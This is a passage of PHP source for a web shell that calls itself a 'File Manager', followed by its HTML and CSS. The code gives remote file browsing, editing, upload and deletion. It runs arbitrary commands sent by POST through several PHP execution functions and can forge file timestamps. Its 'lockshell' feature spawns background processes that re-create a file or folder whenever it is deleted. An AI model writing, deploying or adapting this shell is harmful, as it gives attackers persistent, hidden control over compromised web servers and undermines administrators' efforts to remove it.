            $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
            $size = filesize($path);
            $isText = false;
            $content = '';
            $isBinary = false;
            $textExts = [
                'txt', 'php', 'js', 'css', 'html', 'htm', 'json', 'xml', 'yml', 'yaml',
                'md', 'sql', 'log', 'sh', 'bash', 'zsh', 'fish', 'py', 'rb', 'go', 'rs',
                'c', 'cpp', 'h', 'hpp', 'java', 'kt', 'kts', 'swift', 'pl', 'pm', 'lua',
                'env', 'htaccess', 'htpasswd', 'ini', 'conf', 'cfg', 'toml', 'gitignore',
                'dockerignore', 'dockerfile', 'makefile', 'csv', 'ts', 'tsx', 'jsx', 'vue',
                'scss', 'sass', 'less', 'bat', 'cmd', 'ps1', 'vbs', 'r', 'sqlite', 'db',
                'css', 'js', 'xml', 'svg', 'map'
            ];
            $imageExts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg', 'webp', 'ico', 'tiff', 'heic'];
            if (in_array($ext, $textExts) || $raw) {
                $isText = true;
                if ($size > 50 * 1024 * 1024) {
                    $content = "// File too large (" . formatSize($size) . ")\n// Max editable size: 50MB\n// Use download to get full file";
                } else {
                    $content = @file_get_contents($path);
                    if ($content === false) {
                        $content = "// Failed to read file content";
                    } elseif (empty($content)) {
                        $content = "";
                    }
                }
            } elseif (in_array($ext, $imageExts)) {
                $isText = false;
                $isBinary = false;
            } else {
                $isBinary = true;
                $isText = true;
                if ($size > 10 * 1024 * 1024) {
                    $content = "// Binary file too large (" . formatSize($size) . ")\n// Max editable size: 10MB\n// Use download to get full file\n\n";
                    $content .= "// File info:\n";
                    $content .= "// Name: " . basename($path) . "\n";
                    $content .= "// Size: " . formatSize($size) . "\n";
                    $content .= "// Extension: .$ext\n";
                    $content .= "// Type: Binary file - EDIT AT YOUR OWN RISK!\n\n";
                    $content .= "// WARNING: Editing binary files can corrupt them!\n";
                    $content .= "// Only edit if you know what you're doing.\n\n";
                    $content .= "// Use the Download button to get the original file";
                } else {
                    $fileContent = @file_get_contents($path);
                    if ($fileContent !== false) {
                        $content = $fileContent;
                    } else {
                        $content = "// Cannot read binary file content\n// Use Download button to get the file";
                    }
                }
            }
            sendJSON([
                'success' => true,
                'path' => $path,
                'name' => basename($path),
                'is_text' => $isText,
                'is_image' => in_array($ext, $imageExts),
                'is_binary' => $isBinary,
                'size' => formatSize($size),
                'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', fileperms($path)), -4),
                'modified' => filemtime($path),
                'content' => $content,
                'ext' => $ext,
                'can_edit' => true
            ]);
            break;
        case 'save':
            $file = $_POST['file'] ?? '';
            $content = $_POST['content'] ?? '';
            $path = getFMAbsolutePath($file, $isWindows);
            if (!$path) {
                sendJSON(['error' => 'Invalid path']);
            }
            if (@file_put_contents($path, $content) !== false) {
                sendJSON(['success' => true]);
            } else {
                sendJSON(['error' => 'Failed to save']);
            }
            break;
        case 'delete':
            $target = $_POST['path'] ?? '';
            $path = getFMAbsolutePath($target, $isWindows);
            if (!$path) {
                sendJSON(['error' => 'Invalid path']);
            }
            $success = false;
            if (is_file($path)) {
                if ($isWindows) {
                    @chmod($path, 0666);
                }
                $success = @unlink($path);
            } elseif (is_dir($path)) {
                $success = deleteRecursive($path, $isWindows);
            }
            if ($success) {
                sendJSON(['success' => true]);
            } else {
                sendJSON(['error' => 'Delete failed']);
            }
            break;
        case 'deletemultiple':
            $targets = isset($_POST['paths']) ? json_decode($_POST['paths'], true) : [];
            if (empty($targets)) {
                sendJSON(['error' => 'No files selected']);
            }
            $results = [
                'success' => 0,
                'failed' => 0,
                'errors' => []
            ];
            foreach ($targets as $target) {
                $path = getFMAbsolutePath($target, $isWindows);
                if (!$path) {
                    $results['failed']++;
                    $results['errors'][] = "Invalid path: $target";
                    continue;
                }
                if (is_file($path)) {
                    if ($isWindows) {
                        @chmod($path, 0666);
                    }
                    if (@unlink($path)) {
                        $results['success']++;
                    } else {
                        $results['failed']++;
                        $results['errors'][] = "Failed to delete: " . basename($path);
                    }
                } elseif (is_dir($path)) {
                    if (deleteRecursive($path, $isWindows)) {
                        $results['success']++;
                    } else {
                        $results['failed']++;
                        $results['errors'][] = "Failed to delete folder: " . basename($path);
                    }
                }
            }
            sendJSON([
                'success' => $results['success'] > 0,
                'results' => $results,
                'message' => "Deleted {$results['success']} items" .
                            ($results['failed'] > 0 ? ", {$results['failed']} failed" : "")
            ]);
            break;
        case 'rename':
            $old = $_POST['old'] ?? '';
            $new = $_POST['new'] ?? '';
            $oldPath = getFMAbsolutePath($old, $isWindows);
            $dir = dirname($oldPath);
            $newPath = $dir . ($isWindows ? '\\' : '/') . $new;
            if (!$oldPath || file_exists($newPath)) {
                sendJSON(['error' => 'Invalid path or name exists']);
            }
            if (@rename($oldPath, $newPath)) {
                sendJSON(['success' => true]);
            } else {
                sendJSON(['error' => 'Rename failed']);
            }
            break;
        case 'mkdir':
            $dir = $_POST['dir'] ?? '';
            $name = $_POST['name'] ?? '';
            $path = getFMAbsolutePath($dir, $isWindows);
            $newPath = $path . ($isWindows ? '\\' : '/') . $name;
            if (!$path || file_exists($newPath)) {
                sendJSON(['error' => 'Invalid path or exists']);
            }
            if (@mkdir($newPath, 0755)) {
                sendJSON(['success' => true]);
            } else {
                sendJSON(['error' => 'Create failed']);
            }
            break;
        case 'touch':
            $dir = $_POST['dir'] ?? '';
            $name = $_POST['name'] ?? '';
            $path = getFMAbsolutePath($dir, $isWindows);
            $newPath = $path . ($isWindows ? '\\' : '/') . $name;
            if (!$path || file_exists($newPath)) {
                sendJSON(['error' => 'Invalid path or file exists']);
            }
            if (@touch($newPath)) {
                sendJSON(['success' => true]);
            } else {
                sendJSON(['error' => 'Create failed']);
            }
            break;
        case 'chmod':
            $target = $_POST['path'] ?? '';
            $mode = $_POST['mode'] ?? '';
            $path = getFMAbsolutePath($target, $isWindows);
            if (!$path || !file_exists($path)) {
                sendJSON(['error' => 'Invalid path']);
            }
            if (changePermissions($path, $mode)) {
                sendJSON(['success' => true]);
            } else {
                sendJSON(['error' => 'Change permissions failed']);
            }
            break;
        case 'touchdate':
            $target = $_POST['path'] ?? '';
            $date = $_POST['date'] ?? '';
            $path = getFMAbsolutePath($target, $isWindows);
            if (!$path || !file_exists($path)) {
                sendJSON(['error' => 'Invalid path']);
            }
            if (changeTimestamp($path, $date)) {
                sendJSON(['success' => true]);
            } else {
                sendJSON(['error' => 'Change timestamp failed']);
            }
            break;
        case 'upload':
            $dir = $_POST['dir'] ?? '';
            $path = getFMAbsolutePath($dir, $isWindows);
            if (!$path || !is_dir($path)) {
                sendJSON(['error' => 'Invalid directory']);
            }
            if (!isset($_FILES['file'])) {
                sendJSON(['error' => 'No file uploaded']);
            }
            $results = [
                'success' => 0,
                'failed' => 0,
                'errors' => [],
                'uploaded' => []
            ];
            $files = $_FILES['file'];
            if (!is_array($files['name'])) {
                $files = [
                    'name' => [$files['name']],
                    'type' => [$files['type']],
                    'tmp_name' => [$files['tmp_name']],
                    'error' => [$files['error']],
                    'size' => [$files['size']]
                ];
            }
            $fileCount = count($files['name']);
            for ($i = 0; $i < $fileCount; $i++) {
                $fileName = basename($files['name'][$i]);
                $fileTmp = $files['tmp_name'][$i];
                $fileError = $files['error'][$i];
                $fileSize = $files['size'][$i];
                if ($fileError !== UPLOAD_ERR_OK) {
                    $results['failed']++;
                    $errorMsg = getUploadError($fileError);
                    $results['errors'][] = "{$fileName}: {$errorMsg}";
                    continue;
                }
                $maxSize = 100 * 1024 * 1024;
                if ($fileSize > $maxSize) {
                    $results['failed']++;
                    $results['errors'][] = "{$fileName}: File too large (max 100MB)";
                    continue;
                }
                $safeFileName = preg_replace('/[^\w\.\-]/', '_', $fileName);
                $dest = $path . ($isWindows ? '\\' : '/') . $safeFileName;
                $counter = 1;
                $originalName = $safeFileName;
                while (file_exists($dest)) {
                    $info = pathinfo($originalName);
                    $safeFileName = $info['filename'] . '_' . $counter . '.' . ($info['extension'] ?? '');
                    $dest = $path . ($isWindows ? '\\' : '/') . $safeFileName;
                    $counter++;
                }
                if (@move_uploaded_file($fileTmp, $dest)) {
                    $results['success']++;
                    $results['uploaded'][] = $safeFileName;
                    @chmod($dest, 0644);
                } else {
                    $results['failed']++;
                    $results['errors'][] = "Failed to upload '{$fileName}'";
                }
            }
            if ($results['success'] > 0) {
                sendJSON([
                    'success' => true,
                    'message' => "Uploaded {$results['success']} file(s)" .
                                 ($results['failed'] > 0 ? ", {$results['failed']} failed" : ""),
                    'results' => $results
                ]);
            } else {
                sendJSON([
                    'error' => 'Upload failed: ' . implode(', ', array_slice($results['errors'], 0, 3)),
                    'results' => $results
                ]);
            }
            break;
        case 'zip':
            $targets = isset($_POST['targets']) ? json_decode($_POST['targets'], true) : [];
            $dir = $_POST['dir'] ?? '';
            $name = $_POST['name'] ?? 'archive.zip';
            $path = getFMAbsolutePath($dir, $isWindows);
            if (!$path || !is_dir($path)) {
                sendJSON(['error' => 'Invalid directory']);
            }
            if (!class_exists('ZipArchive')) {
                sendJSON(['error' => 'ZipArchive not available']);
            }
            $zipPath = $path . ($isWindows ? '\\' : '/') . $name;
            $zip = new ZipArchive();
            if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
                sendJSON(['error' => 'Cannot create zip']);
            }
            foreach ($targets as $target) {
                $absPath = getFMAbsolutePath($target, $isWindows);
                if (!$absPath) continue;
                if (is_file($absPath)) {
                    $zip->addFile($absPath, basename($absPath));
                } elseif (is_dir($absPath)) {
                    $zip->addEmptyDir(basename($absPath));
                    addFolderToZip($absPath, $zip, basename($absPath) . '/');
                }
            }
            $zip->close();
            sendJSON(['success' => true, 'archive' => $name]);
            break;
        case 'move':
            $sources = isset($_POST['sources']) ? json_decode($_POST['sources'], true) : [];
            $destination = $_POST['destination'] ?? '';
            if (empty($sources)) {
                sendJSON(['error' => 'No sources specified']);
            }
            $destPath = getFMAbsolutePath($destination, $isWindows);
            if (!$destPath || !is_dir($destPath)) {
                sendJSON(['error' => 'Destination is not a valid directory']);
            }
            $results = [
                'success' => 0,
                'failed' => 0,
                'errors' => []
            ];
            foreach ($sources as $source) {
                $srcPath = getFMAbsolutePath($source, $isWindows);
                if (!$srcPath) {
                    $results['failed']++;
                    $results['errors'][] = "Invalid source: $source";
                    continue;
                }
                $baseName = basename($srcPath);
                $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $baseName;
                $counter = 1;
                $originalDest = $destFullPath;
                while (file_exists($destFullPath)) {
                    $info = pathinfo($originalDest);
                    $newName = $info['filename'] . '_' . $counter . (isset($info['extension']) ? '.' . $info['extension'] : '');
                    $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $newName;
                    $counter++;
                }
                if (@rename($srcPath, $destFullPath)) {
                    $results['success']++;
                } else {
                    $results['failed']++;
                    $results['errors'][] = "Failed to move: $baseName";
                }
            }
            sendJSON([
                'success' => $results['success'] > 0,
                'results' => $results,
                'message' => "Moved {$results['success']} item(s)" .
                            ($results['failed'] > 0 ? ", {$results['failed']} failed" : "")
            ]);
            break;
        case 'copy':
            $sources = isset($_POST['sources']) ? json_decode($_POST['sources'], true) : [];
            $destination = $_POST['destination'] ?? '';
            if (empty($sources)) {
                sendJSON(['error' => 'No sources specified']);
            }
            $destPath = getFMAbsolutePath($destination, $isWindows);
            if (!$destPath || !is_dir($destPath)) {
                sendJSON(['error' => 'Destination is not a valid directory']);
            }
            $results = [
                'success' => 0,
                'failed' => 0,
                'errors' => []
            ];
            foreach ($sources as $source) {
                $srcPath = getFMAbsolutePath($source, $isWindows);
                if (!$srcPath) {
                    $results['failed']++;
                    $results['errors'][] = "Invalid source: $source";
                    continue;
                }
                $baseName = basename($srcPath);
                $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $baseName;
                $counter = 1;
                $originalDest = $destFullPath;
                while (file_exists($destFullPath)) {
                    $info = pathinfo($originalDest);
                    $newName = $info['filename'] . '_copy' . $counter . (isset($info['extension']) ? '.' . $info['extension'] : '');
                    $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $newName;
                    $counter++;
                }
                if (is_file($srcPath)) {
                    if (@copy($srcPath, $destFullPath)) {
                        $results['success']++;
                    } else {
                        $results['failed']++;
                        $results['errors'][] = "Failed to copy file: $baseName";
                    }
                } elseif (is_dir($srcPath)) {
                    if (copyDirectory($srcPath, $destFullPath, $isWindows)) {
                        $results['success']++;
                    } else {
                        $results['failed']++;
                        $results['errors'][] = "Failed to copy folder: $baseName";
                    }
                }
            }
            sendJSON([
                'success' => $results['success'] > 0,
                'results' => $results,
                'message' => "Copied {$results['success']} item(s)" .
                            ($results['failed'] > 0 ? ", {$results['failed']} failed" : "")
            ]);
            break;
        case 'unzip':
            $file = $_POST['file'] ?? '';
            $dir = $_POST['dir'] ?? '';
            $zipPath = getFMAbsolutePath($file, $isWindows);
            $destPath = getFMAbsolutePath($dir, $isWindows);
            if (!$zipPath || !is_file($zipPath) || !$destPath || !is_dir($destPath)) {
                sendJSON(['error' => 'Invalid paths']);
            }
            if (!class_exists('ZipArchive')) {
                sendJSON(['error' => 'ZipArchive not available']);
            }
            $zip = new ZipArchive();
            if ($zip->open($zipPath) !== true) {
                sendJSON(['error' => 'Cannot open archive']);
            }
            if ($zip->extractTo($destPath)) {
                $zip->close();
                sendJSON(['success' => true]);
            } else {
                $zip->close();
                sendJSON(['error' => 'Extract failed']);
            }
            break;
        case 'execute':
            $command = $_POST['command'] ?? '';
            $path = $_POST['dir'] ?? $_SESSION['terminal_current_dir'] ?? __DIR__;
            $_SESSION['terminal_current_dir'] = $path;
            if ($isWindows) {
                $path = normalizePath($path, $isWindows);
            }
            if (!$path || !is_dir($path)) {
                $path = __DIR__;
                if ($isWindows) {
                    $path = normalizePath($path, $isWindows);
                }
                $_SESSION['terminal_current_dir'] = $path;
            }
            $output = '';
            $method = 'none';
            $return_var = 0;
            $changed_dir = false;
            $command = trim($command);
            if ($isWindows) {
                $result = executeWindowsCommand($command, $path);
                if (isset($result['changed']) && $result['changed']) {
                    $_SESSION['terminal_current_dir'] = $result['dir'];
                    setcookie('terminal_current_dir', $result['dir'], time() + (86400 * 30), "/");
                    $path = $result['dir'];
                }
                $output = $result['output'];
                $return_var = $result['return_var'] ?? 0;
                $method = 'windows_cmd';
            } else {
                if (preg_match('/^\s*cd\s+(.+)$/', $command, $matches)) {
                    $new_dir = trim($matches[1], " \t\n\r\0\x0B\"'");
                    if ($new_dir === '~' || $new_dir === '~/' || $new_dir === '$HOME') {
                        $new_dir = getenv('HOME') ?: '/';
                    } elseif ($new_dir === '-') {
                        $output = "cd: OLDPWD not set\n";
                        $changed_dir = false;
                    } else {
                        if ($new_dir[0] !== '/') {
                            $new_dir = $path . '/' . $new_dir;
                        }
                        $new_dir = realpath($new_dir);
                        if ($new_dir && is_dir($new_dir) && is_readable($new_dir)) {
                            $_SESSION['terminal_current_dir'] = $new_dir;
                            setcookie('terminal_current_dir', $new_dir, time() + (86400 * 30), "/");
                            $path = $new_dir;
                            $changed_dir = true;
                            $output = "";
                        } else {
                            $output = "cd: {$matches[1]}: No such file or directory\n";
                        }
                    }
                    sendJSON([
                        'success' => true,
                        'output' => $output,
                        'method' => 'cd',
                        'dir' => $path,
                        'return_var' => $changed_dir ? 0 : 1,
                        'changed_dir' => $changed_dir
                    ]);
                }
                if (empty($command)) {
                    $command = 'pwd';
                }
                $old_cwd = getcwd();
                @chdir($path);
                if (function_exists('proc_open') && !in_array('proc_open', explode(',', ini_get('disable_functions')))) {
                    $descriptorspec = [
                        0 => ['pipe', 'r'],
                        1 => ['pipe', 'w'],
                        2 => ['pipe', 'w']
                    ];
                    $process = @proc_open($command, $descriptorspec, $pipes);
                    if (is_resource($process)) {
                        fclose($pipes[0]);
                        $output = stream_get_contents($pipes[1]);
                        $errors = stream_get_contents($pipes[2]);
                        fclose($pipes[1]);
                        fclose($pipes[2]);
                        proc_close($process);
                        if (!empty($errors)) {
                            $output .= $errors;
                        }
                        if (!empty($output)) $method = 'proc_open';
                    }
                }
                if (empty($output) && function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) {
                    $output = @shell_exec($command . ' 2>&1');
                    $method = 'shell_exec';
                }
                if (empty($output) && function_exists('exec')) {
                    $outputArray = [];
                    @exec($command . ' 2>&1', $outputArray, $return_var);
                    $output = implode("\n", $outputArray);
                    if (!empty($output)) $method = 'exec';
                }
                if (empty($output) && function_exists('system')) {
                    ob_start();
                    @system($command . ' 2>&1', $return_var);
                    $output = ob_get_clean();
                    if (!empty($output)) $method = 'system';
                }
                if (empty($output) && function_exists('passthru')) {
                    ob_start();
                    @passthru($command . ' 2>&1', $return_var);
                    $output = ob_get_clean();
                    if (!empty($output)) $method = 'passthru';
                }
            }
            sendJSON([
                'success' => true,
                'output' => $output,
                'method' => $method,
                'dir' => $path,
                'return_var' => $return_var
            ]);
            break;
        case 'getinfo':
            $target = $_GET['path'] ?? '';
            $path = getFMAbsolutePath($target, $isWindows);
            if (!$path || !file_exists($path)) {
                sendJSON(['error' => 'File not found']);
            }
            sendJSON([
                'success' => true,
                'name' => basename($path),
                'path' => $path,
                'type' => is_dir($path) ? 'dir' : 'file',
                'size' => filesize($path),
                'size_fmt' => formatSize(filesize($path)),
                'modified' => filemtime($path),
                'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', fileperms($path)), -4),
                'owner' => function_exists('posix_getpwuid') ? @posix_getpwuid(fileowner($path))['name'] : ($isWindows ? 'Windows' : ''),
                'group' => function_exists('posix_getgrgid') ? @posix_getgrgid(filegroup($path))['name'] : ($isWindows ? 'Users' : '')
            ]);
            break;
        case 'lockshell':
            try {
                // Bersihkan buffer
                while (ob_get_level()) ob_end_clean();
                ob_start();

                $target = $_POST['path'] ?? '';
                $path = getFMAbsolutePath($target, $isWindows);

                if (!$path || !file_exists($path)) {
                    sendJSON(['error' => 'Invalid path']);
                }

                $isDir = is_dir($path);
                $sessionDir = sys_get_temp_dir() . "/.sessions";
                if (!is_dir($sessionDir) && !mkdir($sessionDir, 0755, true)) {
                    sendJSON(['error' => 'Cannot create session dir']);
                }

                $fileHash = md5($path);

                if ($isDir) {
                    // LOCK FOLDER
                    $handlerFile = $sessionDir . "/" . $fileHash . "-folder-handler";
                    $pidFile = $sessionDir . "/" . $fileHash . ".pid";

                    @unlink($handlerFile);
                    @unlink($pidFile);

                    if (!@chmod($path, 0444)) {
                        sendJSON(['error' => 'Failed to lock folder (permission denied)']);
                    }

                    $handler = '<?php
                        $targetPath="' . addslashes($path) . '";
                        $perms=0444;
                        while(true){
                            if(!is_dir($targetPath)){
                                @mkdir($targetPath,0755,true);
                                @chmod($targetPath,$perms);
                            }
                            usleep(500000);
                        }
                        ?>';

                    if (file_put_contents($handlerFile, $handler) === false) {
                        sendJSON(['error' => 'Failed to create handler file']);
                    }

                    if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") {
                        pclose(popen("start /B php \"$handlerFile\"", "r"));
                    } else {
                        @chmod($handlerFile, 0755);
                        shell_exec(PHP_BINARY . " \"$handlerFile\" > /dev/null 2>&1 & echo $! > \"$pidFile\"");
                    }

                    sendJSON(['success' => true, 'message' => 'Folder locked with background process', 'shell_locked' => true, 'is_dir' => true]);
                }

                // LOCK FILE
                $textFile = $sessionDir . "/" . $fileHash . "-text";
                $handlerFile = $sessionDir . "/" . $fileHash . "-handler";
                $pidFile = $sessionDir . "/" . $fileHash . ".pid";

                @unlink($textFile);
                @unlink($handlerFile);
                @unlink($pidFile);

                if (!@copy($path, $textFile)) {
                    sendJSON(['error' => 'Cannot copy file to session']);
                }

                if (!@chmod($path, 0444)) {
                    sendJSON(['error' => 'Failed to lock file (permission denied)']);
                }

                $handler = '<?php
                    $target="' . addslashes($path) . '";
                    $source="' . addslashes($textFile) . '";
                    while(true){
                        if(!file_exists($target)){
                            @file_put_contents($target,@file_get_contents($source));
                            @chmod($target,0444);
                        }
                        usleep(500000);
                    }
                    ?>';

                if (file_put_contents($handlerFile, $handler) === false) {
                    sendJSON(['error' => 'Failed to create handler file']);
                }

                if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") {
                    pclose(popen("start /B php \"$handlerFile\"", "r"));
                } else {
                    @chmod($handlerFile, 0755);
                    shell_exec(PHP_BINARY . " \"$handlerFile\" > /dev/null 2>&1 & echo $! > \"$pidFile\"");
                }

                sendJSON(['success' => true, 'message' => 'Lockshell deployed', 'shell_locked' => true, 'is_dir' => false]);

            } catch (Exception $e) {
                sendJSON(['error' => 'Exception: ' . $e->getMessage()]);
            }
            break;

        case 'unlockshell':
            try {
                // Bersihkan buffer
                while (ob_get_level()) ob_end_clean();
                ob_start();

                $target = $_POST['path'] ?? '';
                $path = getFMAbsolutePath($target, $isWindows);

                if (!$path || !file_exists($path)) {
                    sendJSON(['error' => 'Invalid path']);
                }

                $isDir = is_dir($path);
                $sessionDir = sys_get_temp_dir() . "/.sessions";
                $fileHash = md5($path);

                if ($isDir) {
                    // UNLOCK FOLDER
                    $handlerFile = $sessionDir . "/" . $fileHash . "-folder-handler";
                    $pidFile = $sessionDir . "/" . $fileHash . ".pid";

                    if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") {
                        @exec("taskkill /F /FI \"WINDOWTITLE eq php*\" 2>NUL");
                    } else {
                        if (file_exists($pidFile)) {
                            $pid = trim(file_get_contents($pidFile));
                            if (is_numeric($pid)) {
                                shell_exec("kill -9 $pid 2>/dev/null");
                            }
                            @unlink($pidFile);
                        }
                        if (file_exists($handlerFile)) {
                            @unlink($handlerFile);
                        }
                    }

                    if (!@chmod($path, 0755)) {
                        sendJSON(['error' => 'Failed to unlock folder (permission denied)']);
                    }

                    sendJSON(['success' => true, 'message' => 'Folder unlocked successfully', 'shell_locked' => false, 'is_dir' => true]);
                }

                // UNLOCK FILE
                $handlerFile = $sessionDir . "/" . $fileHash . "-handler";
                $pidFile = $sessionDir . "/" . $fileHash . ".pid";
                $textFile = $sessionDir . "/" . $fileHash . "-text";

                if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") {
                    @exec("taskkill /F /FI \"WINDOWTITLE eq php*\" 2>NUL");
                } else {
                    if (file_exists($pidFile)) {
                        $pid = trim(file_get_contents($pidFile));
                        if (is_numeric($pid)) {
                            shell_exec("kill -9 $pid 2>/dev/null");
                        }
                        @unlink($pidFile);
                    }
                    if (file_exists($handlerFile)) {
                        @unlink($handlerFile);
                    }
                }

                if (file_exists($textFile)) {
                    @copy($textFile, $path);
                    @unlink($textFile);
                }

                if (!@chmod($path, 0644)) {
                    sendJSON(['error' => 'Failed to unlock file (permission denied)']);
                }

                sendJSON(['success' => true, 'message' => 'Lockshell killed', 'shell_locked' => false, 'is_dir' => false]);

            } catch (Exception $e) {
                sendJSON(['error' => 'Exception: ' . $e->getMessage()]);
            }
            break;
        case 'sync_terminal_dir':
            $dir = $_GET['dir'] ?? '';
            if (empty($dir)) {
                sendJSON(['error' => 'Directory not specified']);
            }
            $dir = getRealPath($dir, $isWindows);
            if (!is_dir($dir)) {
                sendJSON(['error' => 'Invalid directory']);
            }
            $_SESSION['terminal_current_dir'] = $dir;
            setcookie('terminal_current_dir', $dir, time() + (86400 * 30), "/");
            sendJSON(['success' => true, 'dir' => $dir]);
            break;
        default:
            sendJSON(['error' => 'Unknown action']);
    }
    exit;
}

function copyDirectory($source, $destination, $isWindows) {
    if (!is_dir($source)) {
        return false;
    }
    if (!is_dir($destination)) {
        if (!@mkdir($destination, 0755, true)) {
            return false;
        }
    }
    $items = @scandir($source);
    if ($items === false) {
        return false;
    }
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        $srcPath = $source . ($isWindows ? '\\' : '/') . $item;
        $dstPath = $destination . ($isWindows ? '\\' : '/') . $item;
        if (is_dir($srcPath)) {
            if (!copyDirectory($srcPath, $dstPath, $isWindows)) {
                return false;
            }
        } else {
            if (!@copy($srcPath, $dstPath)) {
                return false;
            }
            @chmod($dstPath, 0644);
        }
    }
    return true;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes, viewport-fit=cover">
    <title>⚡ File Manager </title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.14/ace.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.14/ext-language_tools.js"></script>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
* { margin: 0; padding: 0; box-sizing: border-box; }
body { background: #0f172a; color: #e2e8f0; font-family: system-ui, -apple-system, 'Segoe UI', Roboto, sans-serif; }
.glass { background: rgba(30, 41, 59, 0.9); backdrop-filter: blur(10px); border: 1px solid rgba(255,255,255,0.1); }
.scroll-custom::-webkit-scrollbar { width: 8px; height: 8px; }
.scroll-custom::-webkit-scrollbar-track { background: #1e293b; }
.scroll-custom::-webkit-scrollbar-thumb { background: #475569; border-radius: 4px; }
.scroll-custom::-webkit-scrollbar-thumb:hover { background: #64748b; }
.file-row:hover { background: rgba(59, 130, 246, 0.1); }
.btn { padding: 0.3rem 1rem; border-radius: 0.375rem; font-weight: 500; transition: all 0.2s; display: inline-flex; align-items: center; gap: 0.5rem; border: none; cursor: pointer; }
.btn-primary { background: #3b82f6; color: white; }
.btn-primary:hover { background: #2563eb; transform: translateY(-1px); }
.btn-secondary { background: #475569; color: white; }
.btn-secondary:hover { background: #64748b; transform: translateY(-1px); }
.btn-danger { background: #ef4444; color: white; }
.btn-danger:hover { background: #dc2626; transform: translateY(-1px); }
.btn-success { background: #10b981; color: white; }
.btn-success:hover { background: #059669; transform: translateY(-1px); }
.btn-warning { background: #f59e0b; color: white; }
.btn-warning:hover { background: #d97706; transform: translateY(-1px); }
.toast { animation: slideIn 0.3s ease; z-index: 999999; position: relative; box-shadow: 0 10px 25px -5px rgba(0,0,0,0.5); border-radius: 0.5rem; }
#toasts { position: fixed; top: 20px; right: 20px; z-index: 9999999; display: flex; flex-direction: column; gap: 10px; }
@keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } }
.terminal { font-family: 'Courier New', 'Fira Code', monospace; font-size: 13px; }
.prompt { color: #10b981; }
.output { color: #cbd5e1; white-space: pre-wrap; word-break: break-all; }
.error { color: #f87171; }
.progress-bar { height: 6px; background: linear-gradient(90deg, #3b82f6, #10b981); border-radius: 3px; transition: width 0.3s; }
.permission-bits { font-family: 'Courier New', monospace; cursor: pointer; transition: all 0.2s; }
.permission-bits:hover { opacity: 0.8; }
.permission-writable { color: #10b981; background: rgba(16, 185, 129, 0.15); border-left: 3px solid #10b981; font-weight: 600; }
.permission-locked { color: #f59e0b; background: rgba(245, 158, 11, 0.15); border-left: 3px solid #f59e0b; font-weight: 600; }
.dropdown { position: relative; display: inline-block; }
.dropdown-content { display: none; position: absolute; top: 100%; right: 0; margin-top: 8px; background: #1e293b; min-width: 280px; max-width: 90vw; max-height: 450px; overflow-y: auto; border-radius: 12px; border: 1px solid #334155; box-shadow: 0 25px 50px -12px rgba(0,0,0,0.5); z-index: 99999; }
.dropdown-content.show { display: block; animation: dropdownFadeIn 0.2s ease; }
@keyframes dropdownFadeIn { from { opacity: 0; transform: translateY(-10px); } to { opacity: 1; transform: translateY(0); } }
.dropdown-item { display: flex; align-items: center; gap: 12px; padding: 10px 16px; color: #e2e8f0; font-size: 13px; cursor: pointer; transition: all 0.2s; border-bottom: 1px solid #334155; }
.dropdown-item:last-child { border-bottom: none; }
.dropdown-item:hover { background: #3b82f6; color: white; }
.dropdown-item i { width: 20px; text-align: center; }
.dropdown-divider { height: 1px; background: #334155; margin: 4px 0; }
.dropdown-content::-webkit-scrollbar { width: 6px; }
.dropdown-content::-webkit-scrollbar-track { background: #0f172a; border-radius: 10px; }
.dropdown-content::-webkit-scrollbar-thumb { background: #3b82f6; border-radius: 10px; }
.gs-modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.85); z-index: 1000000; display: flex; align-items: center; justify-content: center; }
.gs-modal-content { background: #1e1e2e; border-radius: 16px; padding: 24px; min-width: 320px; max-width: 90vw; border: 2px solid #00ff00; position: relative; box-shadow: 0 0 50px rgba(0,255,0,0.3); }
.gs-modal-close { position: absolute; top: 12px; right: 16px; background: none; border: none; color: #fff; font-size: 28px; cursor: pointer; opacity: 0.7; transition: all 0.2s; }
.gs-modal-close:hover { opacity: 1; color: #ff4444; }
.gs-modal-title { color: #00ff00; font-size: 20px; margin-bottom: 20px; font-weight: bold; }
.gs-modal-code { background: #0d0d0d; padding: 15px; border-radius: 8px; margin-bottom: 20px; word-break: break-all; font-family: monospace; font-size: 12px; color: #00ff00; max-height: 200px; overflow: auto; }
.gs-modal-buttons { display: flex; gap: 12px; flex-wrap: wrap; }
.gs-modal-btn { flex: 1; padding: 10px; border-radius: 8px; font-weight: bold; cursor: pointer; text-align: center; transition: all 0.2s; }
.gs-modal-btn-copy { background: #00ff00; color: #000; }
.gs-modal-btn-copy:hover { background: #00cc00; transform: scale(1.02); }
.gs-modal-btn-close { background: #333; color: #fff; }
.gs-modal-btn-close:hover { background: #555; }
.windows-only { display: <?php echo $isWindows ? 'inline-flex' : 'none'; ?>; }
.linux-only { display: <?php echo $isWindows ? 'none' : 'inline-flex'; ?>; }
#ace-editor-container { width: 100%; height: 450px; }
.ace_editor { font-family: 'Courier New', 'Fira Code', monospace; }
